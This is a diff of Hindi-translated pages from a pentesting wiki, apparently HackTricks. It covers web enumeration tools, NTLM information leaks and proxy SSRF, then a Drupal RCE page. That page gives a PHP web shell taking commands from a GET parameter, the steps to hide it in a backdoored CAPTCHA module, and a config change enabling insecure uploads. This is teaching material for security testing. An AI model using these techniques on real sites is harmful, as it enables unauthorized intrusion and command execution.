रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजे गए** सभी निर्देशिकाओं को।\
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी निर्देशिकाएँ।\
उपकरण:
* **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
@ -259,17 +259,17 @@ Information about SSL/TLS vulnerabilities:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्त खोज का समर्थन करता है।**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाए गए URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से निर्देशिकाओं की एक सूची बनाने के लिए बर्प एक्सटेंशन।
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): डुप्लिकेट कार्यक्षमताओं वाले URL को हटा दें (JS आयात के आधार पर)।
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
* [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
**Recommended dictionaries:**
**अनुशंसित शब्दकोश:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Assetnote wordlists](https://wordlists.assetnote.io)
* [Assetnote शब्दकोश](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
* raft-large-directories-lowercase.txt
* directory-list-2.3-medium.txt
@ -283,87 +283,87 @@ Information about SSL/TLS vulnerabilities:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नई निर्देशिका खोजी जाती है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
### What to check on each file found
### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
* **File Backups**: एक बार जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
* **Discover new parameters**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
* **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
* **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
* _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Comments:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाएं** में टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियों** का उपयोग करें और **पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाए
* **API keys**: यदि आप **कोई API कुंजी** पाते हैं तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API keys: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
* **S3 Buckets**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की जांच करें](buckets/)।
* **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं** ओर टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाए
* **API कुंजी**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किन APIs तक पहुँच सकती है।
* **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की जांच करें](buckets/)।
### Special findings
### विशेष खोजें
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे हों, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**
**Interesting files**
**दिलचस्प फ़ाइलें**
* **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
* [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
* यदि आप एक _**.env**_ पाते हैं तो API कुंजी, DB पासवर्ड और अन्य जानकारी मिल सकती है।
* [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
* यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
* यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया है जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
* आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजे गए JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह संवेदनशील है
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* कई अवसरों पर आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com)
* आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए संवेदनशील कार्यक्षमता का संकेत दे सकता है।
* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया है जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
* आपको यह भी जांचना चाहिए कि खोजी गई JS फ़ाइलें [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ कमजोर हैं या नहीं
* **जावास्क्रिप्ट डिओबफस्केटर और अनपैकर:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **जावास्क्रिप्ट ब्यूटीफायर:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck डिओबफस्केशन** (जावास्क्रिप्ट के साथ वर्ण: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* कई अवसरों पर आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com)
* आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
**403 निषिद्ध/बेसिक प्रमाणीकरण/401 अनधिकृत (बायपास)**
{% content-ref url="403-and-401-bypasses.md" %}
[403-and-401-bypasses.md](403-and-401-bypasses.md)
{% endcontent-ref %}
**502 Proxy Error**
**502 प्रॉक्सी त्रुटि**
यदि कोई पृष्ठ **उस कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर किया गया प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगा** और आप एक **SSRF** पाएंगे।
यदि कोई पृष्ठ **कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर किया गया प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगा** और आप एक **SSRF** पाएंगे।
**NTLM Authentication - Info disclosure**
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप **जानकारी का खुलासा** कर सकते हैं।\
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछते हैं), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
**HTTP Redirect (CTF)**
**HTTP रीडायरेक्ट (CTF)**
यह संभव है कि **Redirection** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
यह संभव है कि **रेडायरेक्शन** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
### Web Vulnerabilities Checking
### वेब कमजोरियों की जांच
अब जब वेब एप्लिकेशन का एक व्यापक एन्यूमरेशन किया गया है, तो संभावित भेद्यताओं की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
अब जब वेब एप्लिकेशन की एक व्यापक सूची बनाई गई है, तो संभावित कमजोरियों की जांच करने का समय है। आप यहाँ चेकलिस्ट पा सकते हैं:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
वेब वल्न्स के बारे में अधिक जानकारी प्राप्त करें:
वेब कमजोरियों के बारे में अधिक जानकारी प्राप्त करें:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Monitor Pages for changes
### पृष्ठों में परिवर्तनों की निगरानी करें
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संभावित भेद्यताओं को डालने वाले संशोधनों का पता लगाया जा सके
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि ऐसे संशोधन जो कमजोरियों को डाल सकते हैं
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
### HackTricks Automatic Commands
### HackTricks स्वचालित आदेश
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@ -442,8 +442,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण कर** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Drupal RCE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -35,29 +35,29 @@ _Modules_ पर जाएं -> (**जाँचें**) _PHP Filter_ -> _क
```bash
curl http://drupal-site.local/node/3
```
## Install PHP Filter Module
## PHP फ़िल्टर मॉड्यूल स्थापित करें
{% hint style="warning" %}
वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।
{% endhint %}
संस्करण **8 से आगे,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है**। इस कार्यक्षमता का लाभ उठाने के लिए, हमें **मॉड्यूल को स्वयं स्थापित करना होगा**
संस्करण **8 से आगे,** [**PHP फ़िल्टर**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है**। इस कार्यक्षमता का लाभ उठाने के लिए, हमें **मॉड्यूल को स्वयं स्थापित करना होगा**
1. Drupal वेबसाइट से मॉड्यूल का सबसे हालिया संस्करण डाउनलोड करें।
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. डाउनलोड करने के बाद **`Administration`** > **`Reports`** > **`Available updates`** पर जाएं।
3. **`Browse`** पर क्लिक करें, उस निर्देशिका से फ़ाइल का चयन करें जहाँ हमने इसे डाउनलोड किया था, और फिर **`Install`** पर क्लिक करें।
4. एक बार मॉड्यूल स्थापित हो जाने पर, हम **`Content`** पर क्लिक कर सकते हैं और **एक नया बुनियादी पृष्ठ बना सकते हैं**, जैसे कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format`** ड्रॉपडाउन से `PHP code` का चयन करें।
4. एक बार मॉड्यूल स्थापित हो जाने पर, हम **`Content`** पर क्लिक कर सकते हैं और **एक नया बुनियादी पृष्ठ बनाएँ**, जैसे कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format`** ड्रॉपडाउन से `PHP code` का चयन करें।
## Backdoored Module
## बैकडोर मॉड्यूल
{% hint style="warning" %}
वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।
{% endhint %}
एक बैकडोर मॉड्यूल **एक मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
एक बैकडोर मॉड्यूल **एक मौजूदा मॉड्यूल में शेल जोड़कर** बनाया जा सकता है। मॉड्यूल drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे एक मॉड्यूल का चयन करते हैं। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) का लिंक कॉपी करें।
* संग्रह डाउनलोड करें और इसकी सामग्री निकालें।
* आर्काइव डाउनलोड करें और इसकी सामग्री निकालें।
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
@ -68,19 +68,19 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* अगला, हमें **`.htaccess`** फ़ाइल बनानी होगी ताकि हम फ़ोल्डर तक पहुँच प्राप्त कर सकें। यह आवश्यक है क्योंकि Drupal **`/modules`** फ़ोल्डर तक सीधे पहुँच को अस्वीकार करता है।
* अगला, हमें **`.htaccess`** फ़ाइल बनानी होगी ताकि हमें फ़ोल्डर तक पहुँच मिल सके। यह आवश्यक है क्योंकि Drupal **`/modules`** फ़ोल्डर तक सीधे पहुँच को अस्वीकार करता है।
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* उपरोक्त कॉन्फ़िगरेशन /modules में फ़ाइल का अनुरोध करते समय / फ़ोल्डर के लिए नियम लागू करेगा। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
* उपरोक्त कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में एक फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को कैप्चा फ़ोल्डर में कॉपी करें और एक संग्रह बनाएँ।
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* मान लीजिए कि हमारे पास **प्रशासनिक पहुंच** है वेबसाइट पर, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा संग्रह पर जाएं और **`Install`** पर क्लिक करें।
* मान लीजिए कि हमारे पास वेबसाइट पर **प्रशासनिक पहुंच** है, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा आर्काइव पर जाएं और **`Install`** पर क्लिक करें।
* एक बार इंस्टॉलेशन सफल होने के बाद, **`/modules/captcha/shell.php`** पर जाएं ताकि कमांड निष्पादित कर सकें।
## Drupal को कॉन्फ़िगरेशन समन्वय के साथ बैकडोर करना <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -93,13 +93,13 @@ _Extend_ मेनू (/admin/modules) में, आप उन प्लगइ
सक्रियकरण से पहले:
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
सक्रियकरण के बाद:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
### भाग 2 (_Configuration synchronization_ फीचर का लाभ उठाना) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -122,9 +122,9 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
े लिए:
:
फाइल: system.file.yml
```
@ -136,11 +136,11 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
